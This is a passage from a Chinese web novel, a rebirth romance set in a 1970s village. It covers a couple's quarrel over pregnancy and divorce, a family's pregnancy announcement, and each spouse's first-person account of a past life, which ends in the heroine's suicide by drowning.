“我只是不知道怎么跟你说,不是故意不跟你商量。” 余银气在头上,哪怕他的语气再温和,态度再好,她也听不进去。 孩子在她肚子里,她却不知道,还差点就出事了。 她对游雾州的话,眯着眼冷笑道:“别假惺惺地了,你这幅装出来的温和模样,真让人恶心。” 最亲近的人往往知道对方哪里戳着最痛,最让人难受。 尤其是气在头上的时候,虽然口不择言,可也都是心里明白的,明白那些话说出来会让人有什么反应,可就是要说。 游雾州脸色微白,绷着脸,看得出来,很生气,却也在努力克制。 可他越是这样淡定,余银心里就越不痛快。 “游雾州,你不累吗,装这么久?”余银嘲讽道:“你早就知道我和周华锦的事,你不怀疑吗?” “就一点不怀疑肚子里的孩子是不是你的?” 余银说出最后一句话是,垂着的手微微拢起,掌心刺痛着。 这刻之前,余银从来没打算这么说过,她知道游雾州是知道她和周华锦的。 但她就不信他心里不怀疑。 她明知道这样会惹怒他,她其实也害怕的。 但从她嘴里真的说出来的时候,就像是她小时候有一颗松动要脱落的牙齿一样,她索性自己推一把让它脱落。 她再也不会用舌尖轻轻触碰,小心翼翼地时刻担心了。 不管是会再喝水的时候掉落,还是在吃东西的时候掉落。 她亲手推了一把掉落,心也安了下来。 游雾州绷直着唇线微微颤动,他耸下眼睫,试图不去看余银说这话时的表情,他薄唇翕动:“别说这样的话。” “什么样的话?这不是实话吗?”余银神色一凛,继续道:“你知道的啊,我没少自己去镇上,这孩子你真确定是你的吗?” 游雾州心脏骤然一缩,碾出密密麻麻的酸胀,灶洞里的火势变小,他弯着身子取了把柴塞进去,火光映照出他眸底的寒意。 暗哑道:“余银,别说了。” 他添柴的手没有收回,握着最末端,指骨旁边的青筋绷到快要爆开,情绪游走快要爆发的边缘。 “为什么不说,你心里不是也怀疑了吗?”余银胸腔剧烈起伏,语调逼出尖锐。 “游雾州。”她深吸一口气,不想让自己的理智彻底失控,还有肚子里的孩子呢,余银沉声道:“你一步一步地推着我走,看着我和周华锦接触,你早就计划好了今天,不是吗?” “你算准了每一步,算准了我会即使不舒服也会强撑下地,也算准了下队的是周华锦,让他亲手把出我怀孕的脉,即使有偏离,你也会创造机会……” “你能算到我肚子的孩子可能不是你的吗?” 字字平静,字字诛心。 她知道什么样的话最锋利,也知道那锋利无比的刀刃往哪戳他最疼。 游雾州垂眸,又添了一把能烧好久的硬柴,他上前走到余银面前,手抬起又放下,放缓的语气带着点哄人的意味:“别这样,我承认我对这件事是手段不光明了些,心思也卑劣,孩子只会是我的,明白吗?” 他那两个字“只会”咬得很重,余银想怎么说就怎么说,他从来没有怀疑过孩子不是他的。 退一万步来说,就算不是,那也余银的孩子也只会他的。 余银不明白,也不想明白。 她觉得游雾州真的有些奇怪,都这么生气,却还要憋着。 天底下男人被女的戴了綠帽子能不吭声的,还张口说肚子里的孩子不是他的。她家又不是有家财万贯,没必要这么迎合顺从她。 良久,余银叹了口气,“游雾州,说来说去,这事归根结底是我对不起,你要是离婚,我阿舅也不会对你怎么样,该给你的也不会偏袒,没必要这样。” 真的没必要,她都有些累了。 藏着掖着许多的心事压的她喘不过气来。 如果说当初答应结婚,是她自己又重新在头顶放了许多刀。 那离婚就像是,她亲自把悬在头顶的许多刀抽出一把落下,紧接着后面那许多刀也会随之袭来。 她可以去提前避免那些刀落在身上。 余银已经做 了很多了,可掌控权好像一直不在她身上,太累了。 她都想放弃了。 “离婚?”游雾州喉结重重滚了一记,有些不敢相信的问她:“你认真的吗?” “我给你戴绿帽子了啊,游雾州。”余银轻笑道,“你能忍吗?你心里没有结吗?” “你真的能不介意我给你戴绿帽子?” “不是这样的。”游雾州苦涩的笑了下,自嘲的说道:“你没有戴绿帽子,你说了的,是我在推着你走,是我故意给你创造机会。” “你别自欺欺人了,认清楚一点,这是发生的事实啊。”余银狠毒的点明。 她的心脏也骤疼着,可是除了疼还有莫名的痛快淋漓。 “你可真是……”游雾州声音很轻,像是笑了,却又抑制不住地颤着无奈道:“余银,你不信我。” 他眼尾逼红,脖颈上青筋跳动,喉结嶙峋,滚出几分难耐。 说了那么多,余银就是不信他。 她好像不觉得游雾州会听了那些话而难过,所以肆无忌惮地戳着他心窝。 他怎么可能会因为余银给他戴绿帽子不生气,可他没有办法啊。 他自欺欺人地告诉自己,都是他一手推动的,不是余银选择的,不是的。 可最开始真的是吗,游雾州刻意去忘记。 余银却不想让他好过的点明,游雾州心脏疼的厉害,胸口起伏艰难,眼底翻滚的情绪却疯狂到快要溢出来。 他晦涩地挤出字句:“余银,为什么不信我呢?” 第72章 第72章以后游雾州带孩子 余银秀眉微蹙,轻描淡写的说了句:“你对我坦诚过嗎?” 说什么她不信游雾州,他自己又对余银坦诚过嗎? 他为什么下乡?他家里几口人,几个兄弟姐妹,家里都什么情况,这些每个夫妻結婚前最起码都清楚知道的。 余银知道嗎?她什么都不知道。 谈何来的信任。 游雾州眼尾通红,低声喃喃中带着几分无奈:“有些事我不是故意瞒你,只是不讓你知道是为你好。” “那我也是。”余银无所谓地说着:“你说我不信你,可能跟你一样吧。” 他什么理由,余银就什么理由。 她抬起下颌,漆黑而亮的眼眸直视着他:“你对我有所保留,却想讓我对你坦诚,游雾州,天底下在我余银这,就没这么好的事。” “我对你会永远有所保留的,就是你说的,我不会信你。” “就算真的相信你,但在也不会彻底信你。”余银勾唇冷笑,“你就算对我再坦诚,我也会这样,所以你好好考虑一下吧,要不要离婚。” 余银说完就抱着肚子离开了。 大约是剛走两步,游雾州就叫住她,余银脚步顿住,但没回头看他。 游雾州几乎是忍了又忍,才滚了下喉結张口,声音说不出的苦涩和坚定,“余银,咱倆这辈子都注定不可能离婚。” 人只活一世,他能做到的,就是到死都要和余银绑在一起。 余银抬起脚步继续往前走,只是唇角似乎若有似无的勾动了一下- 晚上等到余阿娘他们都回来了,进门先去洗把脸,嘴里问道:“小鱼儿咋样啊,去看了没,医生咋说的啊?” 余银清了清嗓子,眉眼含笑道:“先吃饭吧,也没啥大问題。” 余阿娘正洗着脸,看不到余银的神色,但听到没事就也放心了。 王桂香拿着毛巾擦脸,笑了下,“没事就行,我跟你娘下午还在说,不行明个你阿舅要去镇上开会,给你带去医院瞧瞧呢。” “那我要吃糖,爹给我買糖吃。” 虎丫一听要去镇上,迈着小腿就跑到余阿舅跟,抱着他的腿撒娇。 “那你听话就给你買。”余阿舅顺势把虎丫抱起来往堂屋里走。 “白買糖了,那吃了就个甜没啥好处。”余阿娘接着话道:“给倆孩子買两罐那个麥乳精,那玩意好,喝着也甜,有吃糖的錢咱还不如买麥乳精。” “那太贵了,糖才多少錢啊。”王桂香摇头拒绝,“还是买点糖算了。” “麥乳精,爹,我没喝过,天赐耀祖都喝过,爹,买麦乳精。”虎丫搂着余阿舅的脖子到说道。 “桂香孩子也想喝呢,青雲,明去买两罐啊。”余阿娘交代着。 游雾州买的有多的,但是余银还没说,他好开口替她说。 “快坐下,都快坐下。”余银摆着手,“阿舅,舅母,娘,都快坐,我跟你们说个事。” “啥事啊?”余阿娘往凳子上坐下,抬头问她。 王桂香和余庆不明所以地坐下了,余阿舅抱着虎丫也坐好了。 余银站在那,脸上的喜气遮都遮不住,她笑眯眯的宣布:“医生说我懷孕了,已经三个月多了。” “哦呦呦。”余阿娘激动的不行,蹭的一下站起来,就去看余银的肚子,“我要抱孙子了,青雲呢,明多买几罐,给小鱼儿也买两罐子麦乳精。” 她对余阿舅说着话,可眼神一直在盯着余银的肚子。 “姐肚子里有娃娃了?”虎丫从余阿舅脖子上下来,往余银跟跑过去,盯着余银的肚子,捂着嘴笑了好一会,小声道:“姐,我能摸摸她/他嗎?” “我也想摸摸。”余庆不知道什么时候也过来了,眼睛亮亮的带着希冀看着余银。 王桂香怕小孩没轻重,剛想开口阻止,余银就拉着他倆的手抚上她的肚子,浅笑道:“你倆能感受到吗?我都一点感受不到呢。” 虎丫和余庆看着余银肚子上,各自的手左右看看,一副很新奇的样子。 虎丫慢慢把头贴上余银的肚子,好奇道:“你怎么不挺这个大肚子啊?是娃娃太小了吗,怎么肚子好小啊,我都摸不到。” 余庆也点着头,看向余银。 余银摊手笑道:“我也不知道为啥我肚子这么平,可能还没开始长大吧。” “会变成这样吗?”虎丫撅着肚子比划着,“像这样,肚子这么大?” “不一定。”余阿娘在一旁接腔,若有所思道,“余银太瘦了,肚子到时候不一定大,也可能月份大了肚子也涨起来。不过她这身子骨,肚子还是小点好,大了受罪。” 余银想到李小桃的大肚子,她走路都是挺着腰,那看着就累。 她摸了摸虎丫和余庆的头,扶着腰坐下,也没看到旁边伸出却落空的游雾州。 “青云,麦乳精你能弄来票不,这小鱼儿我怕她到时候来反應,吃不下去东西,你多弄一点,不行就给余金写信讓他弄点。”余阿娘对着余阿舅嘱咐道。 余阿舅还没應,游雾州有些不好意思开口道:“阿舅,娘,我买了好几罐,本来刚才想说,但余银还没说她懷孕的消息,有两罐已经放到你们屋里了。” “余银怀了身子,麦乳精还是给她喝,我们不要。”王桂香拒绝道。她旁边的余阿娘就虎着脸说:“桂香,客气了这不是,小游和余银夫妻俩惦记着俩弟弟妹妹,你也别客气,收了就是,咱都是一家人。” 王桂香怕余阿娘误会,忙解释道:“不是,我不是这个意思,这不是麦乳精不好弄,我怕给了他俩喝,余银没得喝了。” “舅母,我明白你的意思。”余银笑了笑,说道:“游雾州他买的多,我又不是牛喝水一样喝那麦乳精,够喝的。” “明天就讓你阿舅再给家里多买点。”王桂香点头道。 “是勒,我明个去多弄点回来,左右不过是多花俩钱的事。” “青云,我再给你添俩,别跟我客气啊,这是我对余银和余庆,虎丫的心意,你的是你的,余金是余金的,你给余金也写个信告诉他一声,他要当舅舅了。” “我写,我想自己跟哥说。”- 一码事归一码事,跟游雾州的气,余银没在余阿娘门前面表现出来。 两人吃完饭回屋,就那几步路,游雾州小心翼翼地跟在她后面看着。 余银当没看见,自顾自的走。 游雾州也不觉得一厢情愿,默默 地跟着,到了屋门口赶紧上前开门,点煤油灯照亮。 “你先坐床上,我去给你打水。”游雾州把蚊帐撩开,让她坐进去。 余银径直走向屋里的小凳子坐上去,无奈道:“撩那么开,蚊子都进去了,我就坐着就行了。” 也不知道怎么个事,她不知道自己怀孕之前,情绪也没跟今这样似的。 一会生气一会开心的。 很奇怪的感觉,余银不是很喜欢。 游雾州从床上拿了扇子,把蚊帐掖好,手里的扇子递给余银,“我去给你烧水。” 说完,他就掩上门出去了。 余银坐在凳子上,心里说不出的烦躁,但她也不知道自己在烦躁什么。 等游雾州端着睡进来的时候,余银还保持着他离开时的姿势坐着,他把水放到余银面前。 又取过她的毛巾放进盆里打湿,拧幹递给余银。 “游雾州,你好讨厌啊。”余银没接毛巾,冷不防的说了句。 “哦。”游雾州應了一声,拿着那毛巾去给余银擦脸,淡淡道:“我再讨厌,咱俩也不可能离婚。” 他给余银擦完脸,又把毛巾放进盆里打湿,拧幹递给她,“自己洗。” 余银不接,歪了下头,就这么看着他,仿佛是在等游雾州给她洗。 游雾州无奈地扯了扯唇角,一边给她擦着脖子和胳膊,一边说道:“我不是讨你厌吗,干嘛还要让我给你洗。” “誰让你不离婚的。”余银翻了个白眼。 “敢情这是折腾我,等我自己受不了了呢。”游雾州轻轻擦着她的胳膊,捏了捏她手臂内侧的软肉,一副随便你的态度,“想的美,你想怎么折腾都行,反正就是不离婚。” 他又浸湿毛巾拧干,看着她胳膊脖子都擦了,只剩身上了,低声道:“余银,确定要我给你洗嘛?” 游雾州的眼神在她胸前盯着,嘴角挂着坏笑。 余银拽过毛巾,把他往地上一推,冷哼一声,“你也去打水来洗,我困了,但有事要跟你说。” 游雾州像是没防备,被她推了个屁股蹲,愣了一下,对上余银缓和点了神色,他笑了笑,“好点了?” 余银看到他吃瘪心情好了点,但还是绷着脸,沉声道:“转过去,我要脱衣服了。” 游雾州其实反應过来了,但他顺着余银走,流露出下意识的反应。而余银也看的出来游雾州是在配合她,两个人都看破不说破。 余银在游雾州去打水后,很快的洗完澡,她现在月份小,也没什么不方便,洗好就上床半靠在墙上。 游雾州进来的时候,见她靠着墙,又把床上的枕头垫她腰下,柔声道:“很快洗好,真困了就直接睡,别强撑着等我。” 余银撇了撇嘴,捏着鼻子道:“快洗你的去,洗干净点,别臭着我了。” 游雾州看她那嫌弃样,扭头闻了闻身上,倒也没有很大味道啊,但孕妇可能更敏感一点,他赶紧用手扇了扇床上,把蚊帐掖好去洗澡。 余银靠在那,仰头看着那桃红的帐顶,有些纠結的想,她的这一切能避免那些事发生吗。 她不木头做的,其实知道不管是上辈子的游雾州,还是这辈子。 游雾州对她喜欢只深不浅,朝夕相处的那些日子里,即使他再会隐藏自己,可心是不会騙人的。 她一直不相信游雾州怎么就会厌恶选择江窈,但那个看着她眼神厌恶的陌生样子,不会是和她在杨柳村的游雾州。 上辈子的游雾州要更小心翼翼些,他说的很少,做的很多,他可以是装出来的,可是在离婚热潮的时候,对余银坚决的说游雾州不会跟她离婚。 如果真到了离婚那步,那一定也是逼不得已,让余银不要怨他。 余阿舅和余金甚至不惜找各种关系,为了游雾州,他们并不傻,也不会识不清人,况且余银也没为了他到昏了头脑的地步。 种种迹象都能证明游雾州对余银是真心的,可能开始结婚确实会虚情假意,可后续相处看得出来真心。 这辈子她刻意在改变一些事情,连游雾州的性子也有些许改变,她不知道是否还会重蹈覆辙。 也不知道游雾州会不会又突然变了个人,她第一次见到周华锦的那天,游雾州的反应就让她知道。 他上钩了。 余银很对不起周华锦,虽然是真的想过把他当后路,可也是利用更多一点。 解铃还需系铃人,余家的祸事,只能让游雾州来解开,和他既然是避不开的,那她再使些办法,让游雾州更加坚定的明白自己的内心和感情。 不逼他一把,他就永远憋着自己,那样就护不了余家。 人在逼不得已的时候,什么原则束缚都不重要了。上辈子她不在乎所以没有孩子牵绊,可这辈子为了余家,这孩子还是游雾州自己偷偷要的。 她是知道的,与其说游雾州诱导创造机会,让她和周华锦接触,不如说游雾州是按照她所想的一点一点顺着他。 余银也知道孩子可能来了,所以故意提出不同房的要求,她也在算着,只是她没预料到,因为腰疼擦的药酒,让她动了胎气。 她以为肚子不疼,孩子就没事。 可她算错了,伤到了孩子,那一刻她慌了,她甚至越想越惊慌,只能将一腔怨愤撒在游雾州身上。 那是她在她肚子里的孩子,知道她要做的事很重要,一直没让她有一点反应,安静又听话,即使都那样难受,也是动了叹气。 她的孩子多坚强啊。 余银想到孩子,心就软的一塌糊涂,她必须要添柴加火,用离婚让游雾州来答应她一件事。 一件只要他应了,余家就很有可能不会重遭上辈子的祸事。 她越想眼神越坚定,在游雾州上床给她垫枕头的时候,拉着他的胳膊,声音很轻的问游雾州。 “我不想知道你的家庭到底发生了什么,就想问问你,会连累我和孩子吗?” 游雾州的手顿了一下,把枕头塞进她身后,让她调整着姿势,“这样行吗?” 等余银躺好后,他坐到余银旁边,放缓声音告诉她,“我也不能确定,但我决定要孩子的时候,就已经下定决心,会保护好你们。” 他的神色平静,但却隐隐透露出一丝释然来。 余银扭头看着他,皱着眉道:“你都不能确定,怎么保护?” 这怎么情况看着这么不利呢。 “你这人可真坏,明知道自己结婚会连累人家,你还去祸害结婚。结婚就算了,你还一直不说,你考老师的时候我怎么问你的,你说你成分没问題啊。” 她的语气有些不好,觉得游雾州隐瞒的太多了。 这叫什么,騙人?不对,是骗婚。 她瞪着游雾州,咬着牙道:“游雾州,你这是欺骗,是骗婚!” 游雾州听了这话不作声了,没想到,余银是这么想的。 不过她也没说对,和她结婚其实开始想拒绝,确实是怕牵连她。 但又更担心她的名声,索性她还有个大队长的阿舅,才同意了。 但这些前提都是,他其实是有点喜欢她的。 毕竟换做其他人,他压根就不会跳里面去救,他看着又不像是多管闲事的人。 而且,他成分确实是没问題,但很多事说不清楚的,余银知道的太多,对他没有一点好处。 他垂眼看着余银的肚子,声音轻柔,“我没骗婚,你阿舅是知道一点情况的,成分也是没问題的,只是里面的事太复杂了。” “那你成分有问题的事,不是真的?”余银诧异道。 他成分要是没问题,那传这个谣言的人真是居心叵测,败坏游雾州的名声。 那要知道人一但有成分问题,誰还敢跟他接触过多,谁愿跟他有点关系,那都是走哪指点到哪的对象。 余银有些生气,问他:“你知道是谁传的这个谣言吗?” 她的语气有些不善,可见是真生气了。 游雾州连忙解释,“阿舅也是为了我好,要是我没有成分问题背在身上,还是自愿下乡的,你觉得咱俩还能结婚吗?” 这年头,不说游雾州是不是城里来的有钱人,就是他这一副皮相,和那一把子力气,那都是要被争抢和惦记盯上的。 有成分问题在身,还能打消不少人的心思。 但也挡不住一些不死心的,余银就是用落水嫁给他的。 她抬手拍了一下游雾州的肩膀,因为他穿着背心,“啪”的一声清脆响。 “你什么意思啊?”余银没好气道:“不想过了现在就走,我家现在不欢迎你了。” “我没说你,只是说那个谣言也算为我好的。”游雾州把人抱在怀里,下颌在她发顶蹭了蹭,放缓的声音哄着:“是我心甘情愿地 要娶你,不是你强迫的,不一样的。” 他说的是实话,只是余银不知道而已,她忘记了,忘记第一次和游雾州在余家见面那次了。 她是在游家出事后,第一个没有任何心思,只是很单纯给了他善意的人。 余银只当他是在哄自己,也没在意,她也想起自己的正事来,跟游雾州说道:“有一个很现实的问题,现在摆在咱们两个面前。” “什么问题?”游雾州拿起被余银放在一边扇子,轻轻的扇着风,“只要不离婚,就没有什么问题。” 余银:“……” 这是什么话? 余银没好气地看他一眼,“孩子出生谁带?你爸妈肯定不用考虑,我娘年纪太大了,晚上根本撑不住,舅母还有虎丫要带着。” 她自己更不可能带,王桂香生完那虚弱的样子,她是见过的,要让余银撑着带孩子,那她宁愿不生。 当初余银晚上带虎丫,也亏得她是年经的身体还不错,那两年,虽然给家里省了不少力气,但余银累的要死。 余银这一番话的意思不言而喻,游雾州父母带不了,余阿娘和王桂香不带,只有孩子父亲了。 游雾州想也不想就应下了,“我带啊,我本来想的就是我来带,你刚生完身体正虚弱,肯定不能带的。” 他早在决定的时候,就考虑了很多。 到时候白天,他给杨大福的媳妇点钱,让她帮忙过来带,毕竟她生的要比余银早几个月呢,也有经验,而且他都跟杨大福说好了。 晚上他从学习回来后,就换他来带,绝对不让余家任何一个人累到。 也不让余银操心一点。 他把这事给余银说了,余银坐直身体,压着声音道:“你疯了,这可是资本家作派啊,你,你都不怕吗?游雾州。” “现在可不是你自己啊,我肚子里还有孩子的,你想死别连累我俩啊。” 这要让人知道了,那是直接要被当作口派的,到时候可比成分问题严重多了。 余银可不想孩子刚生下来,就被游雾州连累,一家人都被当作批判对象。 游雾州摸了摸鼻子,跟她解释,“就咱们几个知道,你俩不是关系好吗,她就是过来给你搭把手的,跟那个扯不上关系。” “很多家里都是这样请的保姆,说是远房亲戚,没地方去,收留一下,没人会去细察的。” “那也有点不行吧。”余银还是有点怕,“就说她是搭把手,真有人不会怀疑吗,万一谁再一个举报,咱们家不就完了。” 她的担心也不是没有,这事毕竟是有风险的。 “不然白天我累点,晚上你带,反正你学校不忙,中午也能回来,下午回来的也早。”余银提议道。 “算了,还是我那个法子吧,就咱们四个知道,娘他们也不说就行了。”游雾州劝慰道:“明面上说的还是你带,杨嫂子孩子刚好也是要带着,她过来找你一起带孩子,不是在村里很常见吗。” 村里孩子们差不多大的时候,大人们就会互相串门一起带孩子,毕竟孩子也能一起玩,大人们也能多个人看着。 他的这个想法很好,除了会被发现的风险,并没有其他的风险。 余银打了哈欠,困意来袭,“到时候再说吧,反正孩子你带,你有钱,你不上班带孩子。” 第73章 加更余银前世视角独白 我叫余银,从小在杨柳村长大,但也不算从小,因为我们是后面搬过来的。 /:. 虽然我没有爹,但是我有一个很愛我娘,她有点愛唠叨可是对我很好,是在有点重男輕女的村子里,对女儿比对儿子还要好娘。 阿娘很不容易,她的大半輩子都很苦,一直在操劳,父母早亡,她舅舅卖给趙家家,为了养阿舅,余阿娘嫁给了呢那个称不上爹的男人。 又在那个男人死后,带着刚出生的我被赶出家们,那家人还把我卖给了脑子烧坏的人,阿娘她得知后,連月子都没做,連夜带着襁褓中的我,还有哥哥余金和阿舅离开了那个地方。 阿舅是被我阿娘一手带大,为了撐起这个家,四块大洋当兵去了,两块给了杨柳村的村长,托付他们照顾一下我们。 阿舅很生气,他可厉害可厉害了,受伤转也后,成了大隊长呢!大家都很害怕他,阿舅他绷着脸看着确实让人害怕。我是一点都不害怕,他会对我笑,对我说话声音都輕着,还总给我买糖和吃的。 舅母也很好,虽然胆子有点小,可是她很善良,是个很好的人,她生的弟弟妹妹也很可爱,我很喜歡很喜歡他们。 有点讨厭余金,他也为了这个家去了部隊,我不想让他去那么危险的地方,但是趙家人的骚扰,让他不得不也将家再撐的高一些。 那样,好像我们就再也不是,那个寒天大雪夜,狼狈地被人欺负赶出的了。 我知道他们都在努力撑起这个家,所以我也不能拖累他们,很想出去和大家一起玩的,尽量忍着,躲在屋子里不出去,不让那家把我买走的看到我,给家里添麻烦。 渐渐的我长大了,家好像也被撑的高了起来,赵家人没有来闹了,我们也渐渐忘记他们的存在了。 我也真的好像习惯躲在家里不出去了。 我二十岁那年,那天村里来了个首都的知青,他生的可真好看,就那一眼,我不知道什么是喜欢,什么是爱,但我想嫁给游雾州。 彼时的我连感情是什么都不知道,但那种强烈的感觉,告诉着我,我想要和那个男知青結婚,过一輩子。 我觉得我好像生病了,每天都想见到游雾州,滿脑子都是跟他結婚,像瘋了一样的念头,瘋狂滋生蔓延。 我想跟我阿娘说,但是我不知道开口,我也没有能说知心话的朋友,但是很幸运的,我有一个胜似亲姐姐的姐姐。 我偷偷告诉我最好的江窈姐,我不知道怎么了,那个叫游雾州的知青,我好想嫁给他,想跟他过一辈子。 江窈姐说我不是得病了,那是喜欢是爱。 可我觉得那就是病,只有嫁给游雾州才能治好。但我不知道該怎么才能嫁给他,因为好像很多人都想要嫁给他。 她说她有办法让我嫁给他,可是我小时候被赵家人扔进河里过,差点死了,我从那以后就怕水,水那样深,我听着害怕。 江窈姐说舍不着孩子套不着狼,我想要嫁给游雾州,就必须要克服我的恐惧,这样才能让游雾州看到我的决心。 后山的池塘里很少有人去,因为那片有闹鬼的树林,江窈姐说游雾州是城里人,不信鬼神,最近老在那片树林附近晃悠。 我听了江窈姐的话,舍不着孩子套不着狼。 水太深了,我什么都抓不住的感觉太害怕了, 就好像又回到了小时候,恐惧感将我笼罩侵袭,我好像真的要死了。 人死之前是不是可以看到自己所願之事啊,我好像看到了游雾州娶我的样子。 真好啊。 但我没死,游雾州将落水的我救了上来,村里谣言四起,阿娘和阿舅滿面愁容。 我做错了事,可我不敢说,我求阿娘让我嫁给他,毁了名声,我又求阿舅,他们最疼我了,肯定会同意。 又怕他还是不肯娶我,我用清白和阿舅大队长威胁他。 我终于如願以偿地嫁给了他,临死前的幻想也成了真的。 游雾州真的是一个很好的男人,阿娘说我选对了人,阿舅也很满意他,还要给他介绍学习老师的工作。 可在人前的好的一个人,却好像并不是这样,他好像有很多心事隐藏着。 我和游雾州之间好像始终有着隔阂,他对我设计落水一事應該是厭恶的,所以才会在晚上的时候,我越哭他动作越狠。 仿佛这样,他才能发泄对我的不满,毕竟他是别人口中的好男人。 他对我处处周到体贴,我嫁给他不用上工,也不用做饭洗衣,游雾州都会替我做了。 他还会给我打洗澡水,对我好的不像话,除了晚上的时候不会在乎我的感受。 我们结婚一年了,可还是没有孩子,村里本来就因为谣言,觉得我配不上他。又因为没有孩子,我娘都替我着急了,还带着我去看了大夫,但却没有一点问题。 那时候我才隐约觉得,没有孩子,好像是游雾州不想要,没弄进去过,所以我们没有孩子。 可游雾州看起来很喜欢虎丫和余庆,是很喜欢孩子。 他是不想要孩子,还是不想要和我孩子呢? 我不敢问,也不敢向他提孩子的事,毕竟虽然没有孩子,我们之间这像梦一般的美好生活,是我设计威胁得来的。 我不敢打破平静,我怕结果不是我想得到的。 没有孩子我不在乎,村里的风言风语我躲在家里也不听。 高考恢复了,他考上了首都的大学,首都才是他的家。村里人都说他要回家了,也不要我了。 这一波风言风语愈演愈烈,家里人深受其扰,连我也不能避免。 那阵子,为了高考回城,村里许多和知青结婚的都不过了。 我没有孩子,游雾州那样优秀,我们之间好像真的可能也会像其他知青一样。 但我阿娘告诉我,游雾州不会的,即使会走到离婚那步,也肯定有他不能说的苦衷。 不是他真心的。 可我害怕失去,我又用录取通知书威胁他,毕竟我阿舅现在已经往镇上升了。 其实成分不好上不了大学,我写信求了余金,也拜托了阿舅,他们很疼我,也愿意帮我。 游雾州應該也是知道的但他没有问过。 他说他不会离婚,我信了,因为我觉得他其实对我是有感情的。可他一去就是两年,偶尔的来信也只有几字。 我只能靠着那一年两份的信度日,村里人愈发觉得游雾州不会回来了。因为很多知青都是说的好好的还回来,可一旦回城的知青,基本上没有再回来的。 我不信,阿娘也不信,可阿娘和阿舅为什么又满面愁容呢? 我该知道答案吗? 我想我应该知道的,我看着阿娘和阿舅为我操劳,越来越来苍老的面容,和那越来越佝偻的身影。 我开始不明白他们是怎么撑起这个家的,该有多累呢,一直都在为我操劳的阿舅和阿娘。 他们在变老,我不能一直做个万事指望他们,只会躲在家里的小孩子。 我从来没有出过远门,几番波折来到首都,想彻底做个了解,离婚也好,不回去也好,不属于我,是不能强留的。 我做好了准备,可他跟一个女孩一起那女孩还是江窈姐,我气得发狂,他站在江窈姐面前护着她,看着我的眼神却带着厌恶。 好陌生眼神,好陌生的游雾州。 那不是他,那不是他。 我觉得我好像疯了,可能是我自己骗自己,但我真的觉得那不是游雾州。 潜意识里告诉我,游雾州不会这样看我,他也不会对我厌恶。 我曾在许多个夜晚,看到过他压抑着的缱绻眼神看我。 所以那不是他,江窈却说那就是游雾州,还给我看了他们拍的照片。 真可笑,我和游雾州都没拍过。 但这个不是我的游雾州。 我失魂落魄的赶在介绍信到期钱,赶回了村里。 可却等来了噩耗,原来我阿娘竟然不放心我一人去首都,去找我路上被车撞死,阿舅和哥哥被调查关了起来,一连串的打击,让经不住事舅母一病不起。 两个孩子那样的小,我想让舅母振作点,可村里却在传,余家遭遇的这一切都是因为我。 这一切都是因为我,这都是游雾州的报复。 舅母不怪好,求我照顾好虎丫和余庆,我却不知道该怎么办,拿出游雾州上学前给我留下的积蓄,把舅母送到县里治病。 给余庆和虎丫也一起送到县里,租了房子,安顿好他们。 做好这一切,我把剩下的钱都留给他们。 像是有指引一般,我来到当初的那个水塘边,水还是那样的深,可我却觉得如释重负。 是我要对当初一手酿成的祸事负责吗,好像是的。 只是可怜我阿娘,一天的好日子都没享过。 余春花,下辈子别做我娘了,那个雪夜扔下我,你可以活得更轻松点。 游雾州,我知道那不是你,可还是忍不住怨恨,但归根结底都是我的错。 所以这次,我不欠你了。 第74章 加更游雾州前世视角独白 因为外公被人舉報调查,我作为知青下乡,来到了距离首都很遠很遠的杨柳村。 杨柳村的冬天可真冷啊,比我经历了外公出事后,那些落井下石的人心还要冷。 接我的余大队长看着面向很凶,不怒而威的气势讓人都很怕他,他以前上过戰場,身上的肃杀气息是普通人没有的,但却和外公一样。 余大队替我拿着行李,走路时不时就要用力捶两下他的右腿,我大概猜得到他是以前戰場上落的伤。 因为我见他的第一眼,就想到了外公那个小老头,也不知道他怎么样了,他在战场上落的伤,冬日里和雨季總会复发,有没有人替他热敷,揉摁缓解。 我从余大队长手里拿过行李,或许是他和外公很像,我忍不住向他亲近,告诉他这样的天他腿要保暖,平时用热敷,揉摁能缓解疼痛。 余大队长对于我的提议向我道谢,从口袋里拿出两个大白兔奶糖感谢,但好像怕覺得寒酸,又收回了。 我笑着从他手里拿过来,本以为他是给家里孩子带的,聊了两句才知道不是,是给只比我小一岁的外甥女带的。 她叫余银,和我一样没有父亲,但却是被余家人娇养长大的。 有一个很疼她的娘,和一个对他很好的舅舅。 余大队长提起余银的时候,眼睛是亮的,是宠溺的,声音都轻柔了不少。 这和外公平时的样子很不一样,这样柔软的一面,我开始有些好奇那个叫余银的同志。 因为我的被褥不厚实,当天又下着雪,余大队长把我带到了余家住,还给了他一床被褥。 那天,好像也没有很冷了。 第二天早上,我见到了余银,或许是我们回来的太晚,余大队长的糖没给她,早上的时候才给她。 余大队长臉上難得的如何,像哄孩童一样跟余银讲话,余银拿到糖,给了余大队长一颗,甚至在看到我之后。 也走过来给了我一颗。 这糖不便宜,起码是在偏僻的杨柳村,她倒是大方,看到熟悉的糖,心里難免会触动。 余银是第一个在出事后,很单纯给予他善意的人。 我说不出来是什么感覺,但心里好像什么轻轻戳了一下。 我开始会刻意留意她,但她不怎么出来,偶尔才会上工。 后来又见到她,但她好像不记得我了,但却一双眼眸直勾勾的盯着我看。 我被她看的有些不好意思,见她臉颊微红,有些羞涩。 我的心里很高兴,有些窃喜。 后来,她经常偷偷看我,但我看过去的时候,除了脸微红,有些羞涩,澄澈的眼眸中只有我。 好像她的眼中只有我,也能容下我,再也看不到其他人。 我一开始不明白,后来才知道她这是 喜歡我啊。 只是估计自己没经历过,不知道,所以才会这么大胆直白盯着我瞧。 真好,我想。 我喜歡的人也喜欢我。 我總会下意識地留意着她,发现她和知青点的江窈走的很近,两个人最近总是去后山水塘边。 那水很深,很危险,我不知道她们要做什么,但我很擔心出事。 每天都会去那边转悠,防止有什么意外。 她果然掉下去了,但幸好我在那。 我救了她,流言蜚语四起,我想娶她,可又怕外公的事连累她,一时为难间。 小姑娘胆子可真大,竟然怕名声坏了我不娶她,拿她阿舅大队长和我成分问題威胁我。 我觉得好笑,她这么胆子大,应该不会被外公的事吓到,我也会尽力保护她。 虽然我下乡的计划中并没有结婚这件事,但我很庆幸遇到了她。 也十分庆幸那天是我救了她,后来我听余阿娘说她小时候掉水里过,所以很怕水,而且有半瞎给余银算过。 她命于水,要远离里。 我不信乱力怪神之谈,但我真的后怕,如果我没那么警惕,没有在那附近转悠,余银真如入半瞎所言该怎么辦。 结婚后,我努力做她的好丈夫,可她太好了,哪里都很合我心意,但我其实不一定是她喜欢的样子。 白天我能克制自己,做个对她体贴入微的男人,却在晚上时,我总会失控,对她眼泪只能感觉到兴奋。 